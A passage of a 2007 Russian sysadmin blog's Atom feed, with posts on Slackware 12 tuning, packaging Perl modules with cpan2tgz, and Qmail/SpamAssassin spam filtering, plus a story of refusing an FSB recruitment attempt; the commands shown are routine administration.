&lt;p&gt;Фактически всё программирование свелось к написанию одной строчки кода. Все остальные действия это установка perl-модулей, внесение изменений в существующие конфигурационные файлы и создание новых конфигурационных файлов. Т.е. это действия системного администратора, а не программиста. Это есть одна из основных и моя самая любимая черта веб-фреймворка Catalyst.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-4300017104861165112?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/4300017104861165112/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=4300017104861165112' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/4300017104861165112'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/4300017104861165112'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/08/http-catalyst.html' title='HTTP-авторизация и Catalyst'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-2625841465975064788</id><published>2007-08-02T13:26:00.000+11:00</published><updated>2007-08-02T13:40:37.948+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Правильная установка perl модулей в Slackware</title><content type='html'>&lt;p&gt;Способ описанный в статье «&lt;a href="http://xeim.blogspot.com/2007/07/perl.html"&gt;Установка perl модулей&lt;/a&gt;» прекрасно работает. Но пользоваться им, значит идти в обход пакетной системы дистрибутива, что влечет следующие недостатки:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Невозможность удалить perl модуль. CPAN.pm только обещает эти возможности в будущем.&lt;/li&gt;
&lt;li&gt;Некорректное обновление модулей. При установке новой версии модуля поверх старой, если должны быть удалены некоторые файлы из старой версии, этого сделано не будет. В лучшем случае это означает мусор в файловой системе, в худшем различные неприятные побочные эффекты.&lt;/li&gt;
&lt;li&gt;Невозможность получить список уже установленных модулей.&lt;/li&gt;
&lt;li&gt;Замусоривание файловой системы, невозможность определить какой файл к какой программе относится.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Предварительная сборка tgz пакетов Slackware позволяет устранить все вышеперечисленные недостатки. Кроме того, сборку пакетов можно производить не на рабочем сервере, а на отдельной машине, например виртуальной. Что в свою очередь даёт преимущества:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Отсутствует необходимость в средствах сборки на рабочем сервере: make, компилятор, линковщик и т.д. Это экономит место на диске сервера и делает его более безопасным.&lt;/li&gt;
&lt;li&gt;Экономия времени, если рабочих серверов больше одного. Однажды собранные пакеты можно установить на много серверов. Установка готового пакета занимает секунды, сборка модуля длится гораздо дольше.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Переходим к практической части. Вначале необходимо сконфигурировать утилиту &lt;tt&gt;cpan&lt;/tt&gt;, как написано в уже упомянутой статье «Установка perl модулей». Далее, для автоматизации процесса сборки Slackware пакетов из perl модулей нам поможет замечательная утилита &lt;tt&gt;cpan2tgz&lt;/tt&gt;. С её помощью можно по имени модуля собрать Slackware пакет, а также пакеты всех отсутствующих зависимых модулей. На &lt;a href="http://software.jaos.org/#cpan2tgz"&gt;сайте автора утилиты &lt;tt&gt;cpan2tgz&lt;/tt&gt;&lt;/a&gt; выбираем пакет под вашу версию Slackware, скачиваем и устанавливаем его:&lt;/p&gt;

&lt;pre&gt;root@slack12:~# wget http://software.jaos.org/slackpacks/12.0/cpan2tgz-0.6.2-norch-1.tgz
...
root@slack12:~# installpkg cpan2tgz-0.6.2-noarch-1.tgz
Installing package cpan2tgz-0.6.2-noarch-1... 
PACKAGE DESCRIPTION:
cpan2tgz: cpan2tgz - create Slackware packages from CPAN Perl modules
cpan2tgz: 
cpan2tgz: Packaged by cpan2tgz
cpan2tgz: 
cpan2tgz: cpan2tgz by Jason Woodward &lt;woodwardj at jaos dot org&gt;
cpan2tgz: 
cpan2tgz: http://software.jaos.org/
cpan2tgz: 
Executing install script for cpan2tgz-0.6.2-noarch-1...&lt;/pre&gt;

&lt;p&gt;Чтобы получить пакеты, например, runtime части &lt;a href="http://www.catalystframework.org/"&gt;web фремворка Catalyst&lt;/a&gt; можем воспользоватся командой:&lt;/p&gt;

&lt;pre&gt;root@slack12:~# cpan2tgz Catalyst&lt;/pre&gt;

&lt;p&gt;Начнется сборка пакетов, при этом большую часть времени работает утилита &lt;tt&gt;cpan&lt;/tt&gt;, скачивая, распаковывая и устанавливая perl модули. После установки модуля &lt;tt&gt;cpan2tgz&lt;/tt&gt; запаковывает его в tgz пакет с соблюдением стандартов. По умолчанию готовые пакеты помещаются в директорию /usr/src . В данном случае список состоит из:&lt;/p&gt;

&lt;pre&gt;perl-catalyst-runtime-5.7007-noarch-1.tgz
perl-cgi-simple-1.1-noarch-1.tgz
perl-class-accessor-0.31-noarch-1.tgz
perl-class-data-inheritable-0.06-noarch-1.tgz
perl-class-inspector-1.16-noarch-1.tgz
perl-compress-raw-zlib-2.005-i486-1.tgz
perl-compress-zlib-2.005-noarch-1.tgz
perl-data-dump-1.08-noarch-1.tgz
perl-file-modified-0.07-noarch-1.tgz
perl-html-parser-3.56-i486-1.tgz
perl-html-tagset-3.10-noarch-1.tgz
perl-http-body-0.9-noarch-1.tgz
perl-http-request-ascgi-0.5-noarch-1.tgz
perl-io-compress-base-2.005-noarch-1.tgz
perl-io-compress-zlib-2.005-noarch-1.tgz
perl-libwww-perl-5.806-noarch-1.tgz
perl-module-pluggable-3.6-noarch-1.tgz
perl-path-class-0.16-noarch-1.tgz
perl-sub-uplevel-0.14-noarch-1.tgz
perl-test-exception-0.25-noarch-1.tgz
perl-text-simpletable-0.03-noarch-1.tgz
perl-tree-simple-1.17-noarch-1.tgz
perl-tree-simple-visitorfactory-0.10-noarch-1.tgz
perl-version-0.7203-i486-1.tgz
perl-yaml-0.65-noarch-1.tgz&lt;/pre&gt;

&lt;p&gt;Теперь можно скопировать эти пакеты на рабочий сервер и установить c помощью команды:&lt;/p&gt;

&lt;pre&gt;root@slack12:~# installpkg *.tgz&lt;/pre&gt;

&lt;p&gt;Всё.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-2625841465975064788?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/2625841465975064788/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=2625841465975064788' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2625841465975064788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2625841465975064788'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/08/perl-slackware.html' title='Правильная установка perl модулей в Slackware'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-471911107379584967</id><published>2007-07-26T17:17:00.001+11:00</published><updated>2007-08-02T13:26:19.703+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='жизнь'/><title type='text'>Web анонсы</title><content type='html'>&lt;p&gt;Провайдер сегодня порадовал. Принудительными анонсами. Открываешь страницу с произвольным адресом. Но самой этой страницы не видишь, а происходит перенаправление на внутренний сервер с рекламой. Выглядит это так:&lt;/p&gt;
&lt;a href="http://picasaweb.google.com/xeimxeim/UseCatalyst/photo?authkey=JtDHH46LyI0#5091385038057000162"&gt;&lt;img src="http://lh4.google.com/xeimxeim/Rqg7t4AgTOI/AAAAAAAAAA0/EcDpQYgACK4/s800/td-anons.jpg" /&gt;&lt;/a&gt;
&lt;p&gt;Остается только догадываться что будет с различными автоматизированными системами, которые в своей работе используют web запросы.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-471911107379584967?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/471911107379584967/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=471911107379584967' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/471911107379584967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/471911107379584967'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/07/web.html' title='Web анонсы'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-2498453017883644526</id><published>2007-07-26T12:21:00.000+11:00</published><updated>2007-07-26T14:12:21.702+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><title type='text'>Slackware 12</title><content type='html'>&lt;p&gt;Наконец-то добрался до Slackware 12. Как обычно, сначала любую новую операционую систему я пробую устанавливать в виртуальной машине. Инсталяция прошла гладко, ни на шаг не отступая от классической схемы установки Slackware &amp;mdash; консоль, разбиение диска с помощью fdisk, выбор пакетов для установки из списка. Как обычно выбираю абсолютный минимум необходимых пакетов. Отметил, что теперь по умолчанию предлагается форматировать разделы диска в ext3, вместо raiserfs как было раньше. Порадовало наличие пакета openvpn. До 12-ой версии Slackware похоже был последним дистрибутивом, содержащим веб сервер apache1. Теперь он заменен сразу на apache2.2!, кто-то наверное обрадуется, а мне немного грустно, т.к. возможностей apache1 мне хватало абсолютно.&lt;/p&gt;

&lt;p&gt;Для каждой виртуальной машины я выделяю 48Мб памяти. Для Slackware с версий 9.1 по 11 этого вполне хватало не только для загрузки, но и для адекватной работы в качестве девелоперской машины LAMP сервером, естественно без иксов. Но вот загружается Slackware 12 и первое впечатление &amp;mdash; дааа, потяжелела слакварь, курсор в консоле еле ворочается, память занята вся и ещё немало подкачки отъела.&lt;/p&gt;

&lt;p&gt;Однако проблема довольно быстро решается:&lt;/p&gt;
&lt;ol&gt;

&lt;li&gt;&lt;p&gt;Отключаем появившиеся в Слаке новомодные сервисы, необходимые только для десктопа. Для этого снимаем атрибут исполняемого файла с:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;tt&gt;/etc/rc.d/rc.hald&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt&gt;/etc/rc.d/rc.messagebus&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;&lt;tt&gt;/etc/rc.d/rc.udev&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;В &lt;tt&gt;/etc/rc.d/rc.modules&lt;/tt&gt; отключаем загрузку ненужных модулей ядра, а именно:&lt;/p&gt;

&lt;pre&gt;# /sbin/modprobe psmouse proto=imps
# /sbin/modprobe pcspkr
# /sbin/modprobe -q parport_pc 2&gt; /dev/null
# /sbin/modprobe agpgart 2&gt; /dev/null
# /sbin/modprobe capability&lt;/pre&gt;

&lt;p&gt;После этого в памяти оставался ещё не нужный нам модуль ядра ipv6. Его отключаем добавлением следующих строчек в &lt;tt&gt;/etc/modprobe.d/blacklist&lt;/tt&gt;:&lt;/p&gt;

&lt;pre&gt;alias net-pf-10 off
blacklist ipv6&lt;/pre&gt;
&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Многие знают, что Slackware 12, тоже одним из последних, перешел на ядро 2.6. Но не все знают, что теперь в Slackware 12 есть две сборки ядра, называемые huge и generic. По умолчанию грузится huge, где большинство модулей вкомпилены в ядро. Так не возникают проблемы при загрузкой с разных файловых систем, но это ядро занимает много памяти. Чтобы переключится на generic ядро скорее вам всего нужно будет собрать initrd, содержащий как минимум модуль ядра для корневой файловой системы. Краткие объяснения и инструкция содержатся в файле &lt;tt&gt;/boot/README.initrd&lt;/tt&gt;. В моём случае понадобилось выполнить следующую команду:&lt;/p&gt;

&lt;pre&gt;mkinitrd -c -k 2.6.21.5-smp -m ext3&lt;/pre&gt;

&lt;p&gt;Добавляем пункт загрузки с generic ядра в меню lilo, для этого вставляем строки в файл &lt;tt&gt;/etc/lilo.conf&lt;/tt&gt;:&lt;/p&gt;
&lt;pre&gt;image = /boot/vmlinuz-generic-smp-2.6.21.5-smp
  initrd = /boot/initrd.gz
  root = /dev/XXXN
  label = Linux-generic
  read-only&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;После этих действий система стала вести себя более отзывчиво :-). 48 Мб опять хватает. В общем я доволен. Мы получили дистрибутив, который с одной стороны идет в ногу со временем, включающий последние достижения Open Source, обновленные версии всех программ. С другой стороны Slackware строго придерживается собственных традиций, устанавливаются оригинальные версии программ, без патчей. Позволяется максимально возможную гибкость в настройке системы. В общем, я всё больше убеждаюсь, что Slacware лучшая ОС для серверных решений.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-2498453017883644526?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/2498453017883644526/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=2498453017883644526' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2498453017883644526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/2498453017883644526'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/07/slackware-12.html' title='Slackware 12'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-4033567062438513048</id><published>2007-07-16T13:57:00.000+11:00</published><updated>2007-07-26T14:12:54.755+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='спам'/><title type='text'>Фильтрация спама для Qmail c помощью SpamAssassin</title><content type='html'>&lt;p&gt;Все написанное производилось для Slackware 9.1. Описание установки и настройки Qmail, а также описание установки SpamAssassin не приводится. Почта пользователей сервера myserver.ru хранится в домашних каталогах пользователей в Maildir формате.&lt;/p&gt;

&lt;p&gt;Спам &amp;mdash; достал. Способов борьбы с ним тьма, но что-то же выбрать надо. Что мне понравилось в SpamAssassin, это отсутствие необходимости постоянно в ручную обучать его новому спаму, чтобы он работал эффективно. То есть, при желании это можно делать, но пользователей обучить нереально, а сисадмину и так есть чем занятся :-).&lt;/p&gt;

&lt;p&gt;Для работы SpamAssassin использует огромную базу правил. Каждому правилу назначается определенный вес. При проверке письма веса всех «сработавших» правил суммируются. Если сумма превысила пороговое значение, письмо помечается как спам. База всех правил постоянно пополняется, весовые коэффициенты уточняются. SpamAssassin предоставляет утилиту для обновления базы правил, которую можно запускать в автоматическом режиме по расписанию.&lt;/p&gt;

&lt;p&gt;Есть два способа обращаться к SpamAssasin:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;в режиме утилиты командной строки &amp;mdash; &lt;tt&gt;spamassasin&lt;/tt&gt;,&lt;/li&gt;
&lt;li&gt;в режиме клиента spamc для демона &lt;tt&gt;spamd&lt;/tt&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Второй вариант работает быстрее, т.к. не тратится время на запуск и инициализацию программы. Однако расходует больше памяти, т.к. демон должен быть постоянно запущен. Как показала практика, SpamAssassin достаточно тяжел в работе, на принятие решения по одному письму уходит от 2-х до 7 секунд работы программы. А памяти на серверах обычно много и она дешева. Поэтому используем второй вариант. Для автоматического запуска демона &lt;tt&gt;spamd&lt;/tt&gt; при загрузке сервера прописываем в файле &lt;tt&gt;/etc/rc.d/rc.M&lt;/tt&gt; строчки:&lt;/p&gt;

&lt;pre&gt;# Start the SpamAssasin daemon:
if [ -x /etc/rc.d/rc.spamd ]; then
  /etc/rc.d/rc.spamd start
fi&lt;/pre&gt;

&lt;p&gt;&lt;a href="http://wiki.apache.org/spamassassin/"&gt;Вики SpamAssasin&lt;/a&gt; предлагает три способа &lt;a href="http://wiki.apache.org/spamassassin/IntegratedInMta"&gt;интеграции с qmail&lt;/a&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Через программу Simscan глобально на этапе приема письма по smtp;&lt;/li&gt;
&lt;li&gt;Через программу qmail-scanner глобально на этапе пересылки/доставки письма;&lt;/li&gt;
&lt;li&gt;Через скрипт &lt;tt&gt;ifspamh&lt;/tt&gt; и редактирование файла &lt;tt&gt;~/.qmail&lt;/tt&gt; для индивидуального почтового ящика на этапе локальной доставки письма;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Используем третий способ, как самый безопасный для экспериментов на работающем сервере. Устанавливаем скрипт &lt;tt&gt;ifspamh&lt;/tt&gt;:&lt;/p&gt;

&lt;pre&gt;cd /usr/local/bin
wget http://www.gbnet.net/~jrg/qmail/ifspamh/ifspamh
chmod +x ifspamh&lt;/pre&gt;

&lt;p&gt;Скрипт &lt;tt&gt;ifspamh&lt;/tt&gt; «из коробки» не заработал, пришлось немного подпилить. Вместо оболочки &lt;tt&gt;ksh&lt;/tt&gt;, которую я не устанавливал прописал запуск из &lt;tt&gt;bash&lt;/tt&gt;. На работоспособность скрипта это не повлияло. Подправил пути поиска утилит &lt;tt&gt;spamc&lt;/tt&gt;, &lt;tt&gt;forward&lt;/tt&gt; (входит в qmail) и &lt;tt&gt;822field&lt;/tt&gt;. Утилита &lt;tt&gt;822field&lt;/tt&gt; входит в состав пакета mess822. Мне повезло, пакет &lt;a href="http://www.linuxpackages.net/pkg_details.php?id=1941"&gt;mess822 для Slackware 9.1&lt;/a&gt; был на linuxpackages.net. А если бы не было, так не беда &amp;mdash; сам бы собрал, просто ленив я стал...&lt;/p&gt;

&lt;p&gt;Для каждого пользователя, которому нужна фильтрация спама редактируем файл &lt;tt&gt;~/.qmail&lt;/tt&gt;:&lt;/p&gt;

&lt;pre&gt;|/usr/local/bin/ifspamh spam@myserver.ru
./Maildir/&lt;/pre&gt;

&lt;p&gt;Теперь весь обнаруженный спам будет пересылаться на ящик spam@myserver.ru, эдакий спамоотстойник сервера. Доставки в локальный ящик не будет. Письма не удаляются, администратор всегда сможет найти ложно отфильтрованное письмо в отстойнике. Теперь проверим работу обновления базы правил SpamAssassin, для этого используется утилита &lt;tt&gt;sa-update&lt;/tt&gt;. Запустим её без параметров, если все пройдёт успешно, то в каталоге &lt;tt&gt;/var/lib/spamassassin/&amp;lt;version&amp;gt;/&lt;/tt&gt; появятся обновленные базы правил. Чтобы обновления вступили в силу, демон spamd необходимо перезапустить. Прописать запуск &lt;tt&gt;sa-update&lt;/tt&gt; в автоматическом режиме по расписанию я пока не решился. Но тем не менее crontab изменить пришлось:&lt;p&gt;

&lt;pre&gt;# 0 2 * * * sa-update &amp;&amp; /etc/rc.d/rc.spamd restart
0 3 * * * find ~spam/Maildir -ctime +31 -type f -exec rm {} \;&lt;/pre&gt;

&lt;p&gt;Как вы заметили, я добавил очистку ящика spam@myserver.ru, чтобы этот отстойник не переполнился. Если письмо в течении месяца никому так и не понадобилось, то его можно спокойно удалить.&lt;/p&gt;

&lt;p&gt;За прошедший (не очень продолжительный) период работы не было ни одного ложного срабатывания. Эффективность обнаружения спама около 97%. Всё.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-4033567062438513048?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/4033567062438513048/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=4033567062438513048' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/4033567062438513048'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/4033567062438513048'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/07/qmail-c-spamassassin.html' title='Фильтрация спама для Qmail c помощью SpamAssassin'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-4128456510879879101</id><published>2007-07-13T15:45:00.000+11:00</published><updated>2007-07-26T14:11:24.628+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='жизнь'/><title type='text'>Про ФСБ</title><content type='html'>&lt;p style="font-style: italic;"&gt;Повествовательный рассказ без выводов и нравоучений про ФСБ.&lt;/p&gt;

&lt;p&gt;Однажды, в начале лета 2006 года, мне позвонил весьма отдаленный знакомый:&lt;/p&gt;

&lt;p&gt;&amp;mdash; Меня спрашивали про опытного компьютерщика, что-то связанное с компьютерной безопасностью. Мне, кроме тебя, что-то и в голову никто не приходит. Если тебе интересно, могу дать твой телефон тому человеку.&lt;/p&gt;

&lt;p&gt;С одной стороны я очень удивился: да я вроде компьютерщик до мозга костей, опытный или нет, это уж не мне судить. Но компьютерная безопасность&amp;nbsp;&amp;mdash; абсолютно не мой профиль. С другой стороны, в нашем маленьком провинциальном городе я не знаю никого, кто был бы исключительно специалистом по компьютерной безопасности. Да и сложно представить себе о чем идет речь, пока лично не пообщался. К тому же, я уже начал задумываться, что родная (на тот момент) контора платит мало и перспектив никаких. В случае чего и подработка лишней не будет, так что я согласился.&lt;/p&gt;

&lt;p&gt;Дня через два позвонил, назовем его пока Джеймс Бонд, предложил встретится в кафешке. Так и сделали. Бонд оказался молодым человеком, не отталкивающей наружности. Далее так написали бы в шпионском романе: «Бонд выбрал столик с хорошим обзором всего кафе и входной двери. При этом любой входящий в зал, оказывался повернут в пол оборота, так что его можно было хорошо рассмотреть, оставаясь самому незамеченным. Бонд предложил мне сесть к стене, так что я фактически оказался заперт за столом, не имея возможности встать и уйти, пока он сам меня не выпустит». Заказали мы, к сожалению, не по бокалу любимого напитка киногероя&amp;nbsp;&amp;mdash; мартини, а по пиву и Бонд начал разговор:&lt;/p&gt;

&lt;p&gt;&amp;mdash; Ты наверное в детстве много читал?&lt;/p&gt;

&lt;p&gt;Я ответил утвердительно.&lt;/p&gt;

&lt;p&gt;&amp;mdash; Наверное читал «Щит и меч»?&lt;/p&gt;

&lt;p&gt;Я удивился, но чтобы не грешить против истины, опять ответил утвердительно. После аналогичного вопроса про «Семнадцать мгновений весны» начался пространный рассказ о том, что отечество в опасности, НАТО не дремлет, загнивающие буржуи окружают. Например, недавно поймали китайцев, фотографирующих расположение наших военных частей. Или с авиационного завода пытались продать какую-то документацию. Я решаю прервать этот поток сознания:&lt;/p&gt;

&lt;p&gt;&amp;mdash; А ты собственно кто?&lt;/p&gt;

&lt;p&gt;Не говоря ни слова Бонд достает корочку удостоверения и предъявляет её мне. Разоблачается таким образом в лейтенанта ФСБ Антона Митина. Я начинаю себя чувствовать неуютно. Тем временем, пространный рассказ продолжается. Оказывается, с его слов, Митин&amp;nbsp;&amp;mdash; главный специалист ФСБ по информационной безопасности в городе. Все остальные уже в возрасте, он единственный кто соображает. Информационные преступления на каждом шагу, а его «служба и опасна и трудна», он не успевает в одиночку с ними справляться. Рисуется образ печального рыцаря, преданного делу короны. Снова мне приходится прервать его:&lt;/p&gt;

&lt;p&gt;&amp;mdash; Хорошо, а что ты хочешь от меня?&lt;/p&gt;

&lt;p&gt;Извлекается листок со списком так называемых &lt;a href="http://en.wikipedia.org/wiki/Honeypot_%28computing%29"&gt;honeypot&lt;/a&gt; систем, палец тыкается в одну программу из списка и мне предлагается где-нибудь найти и взломать её. Я отвечаю:&lt;/p&gt;

&lt;p&gt;&amp;mdash;  Это тянет на статью «получение незаконного доступа к программам или базам данных» и/или «незаконная модификацию программ или баз данных». До 2-х лет, если не ошибаюсь, в формулировках и сроках ты лучше разбираешься.&lt;/p&gt;

&lt;p&gt;&amp;mdash; Вот ты повернул! Мне такое даже и в голову бы не пришло, тем более что привлечь по этой статье нереально. Хорошо давай мы сами её найдем, тебе только взломать останется. Ты же, например, Windows взломанным пользуешься?&lt;/p&gt;

&lt;p&gt;&amp;mdash;  У меня на рабочем и на домашнем компьютере нет ни Windows, ни одной другой краденной программы.&lt;/p&gt;

&lt;p&gt;Митин-Бонд посмотрел на меня с недоверием, но ничего не возразил. Начал расспрашивать меня о моей работе. Когда разговор, коснулся Open Source глаза его вспыхнули и он произнес: «Да это же транснациональные организованные сообщества!». Кроме того хвалился, что поддерживает постоянную связь с начальником безопасности моей конторы, бывшим КГБистом, и уже «пробил» всё про меня. Потом произнес:&lt;/p&gt;

&lt;p&gt;&amp;mdash; У нас не хватает сведений об информационных преступления. Я же один на весь город. Мог бы ты, если где-то что-то краем уха услышишь, сообщать мне? Или вдруг в англоязычных рассылках чего промелькнёт. Например, вдруг кто-нибудь из участников работает в Боинге, а Боинг ведь на наш авиазавод моторы поставлять будет...&lt;/p&gt;

&lt;p&gt;Тут я почувствовал себя гадко, по-настоящему гадко, как будто в говно случайно наступил. То что меня будут вербовать в качестве стукача, я никак не ожидал:&lt;/p&gt;

&lt;p&gt;&amp;mdash; Пока сохраняется хоть малейшая иллюзия свободы моего выбора, я этого делать не буду.&lt;/p&gt;

&lt;p&gt;&amp;mdash; Никто насильно тебя не заставляет. Просто подумай, какую пользу ты можешь принести своей Родине. И кроме того, если информация окажется ценной, она хорошо оплачивается.&lt;/p&gt;

&lt;p&gt;&amp;mdash; Нет. На этом я хотел бы завершить наш разговор.&lt;/p&gt;

&lt;p&gt;&amp;mdash; Пожалуйста.&lt;/p&gt;

&lt;p&gt;На этом мы распрощались. Митин взял с меня обещание никому не распространяться об этом разговоре. Больше, слава богу, я его не видел, и надеюсь никогда не увижу.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/318307562281607377-4128456510879879101?l=xeim.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xeim.blogspot.com/feeds/4128456510879879101/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=318307562281607377&amp;postID=4128456510879879101' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/4128456510879879101'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/318307562281607377/posts/default/4128456510879879101'/><link rel='alternate' type='text/html' href='http://xeim.blogspot.com/2007/07/blog-post.html' title='Про ФСБ'/><author><name>xeim</name><uri>http://www.blogger.com/profile/04215192691734396462</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-318307562281607377.post-3900119332069476524</id><published>2007-07-06T13:37:00.000+11:00</published><updated>2007-07-06T16:54:50.347+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>Генерация Excel документов на perl</title><content type='html'>Описание задачи. Имеется программная телефонная станция на базе &lt;a href="http://www.asterisk.org/"&gt;asterisk&lt;/a&gt;. Журнал звонков этой телефонной станции ведется в базе данных mysql. Названия полей таблицы соответствуют названиям полей &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+billing"&gt;CDR&lt;/a&gt; (Call Detail Record). Возникла необходимость в доступе к этому журналу для менеджеров. Менеджеры, братья наши меньшие, абсолютно не очарованы таблицами баз данных, SQL для них чужд. Зато документы в формате Excel милы их сердцам. Поэтому напишем perl скрипт для генерации Excel отчета из базы данных. Для создания excel файлов воспользуемся perl модулем &lt;a href="http://search.cpan.org/dist/Excel-Template/"&gt;Excel::Template&lt;/a&gt;, позволяющем, как видно из названия, создавать .xls файлы на основе xml шаблона. Вы ведь не хотите менять программу каждый раз, когда нужно будет увеличить размер шрифта или поменять местами колонки в отчете? Сначала приведем содержимое файла шаблона report.xml:

&lt;pre&gt;
&lt;span style="color: rgb(102, 204, 204);"&gt;&amp;lt;workbook&amp;gt;&lt;/span&gt;
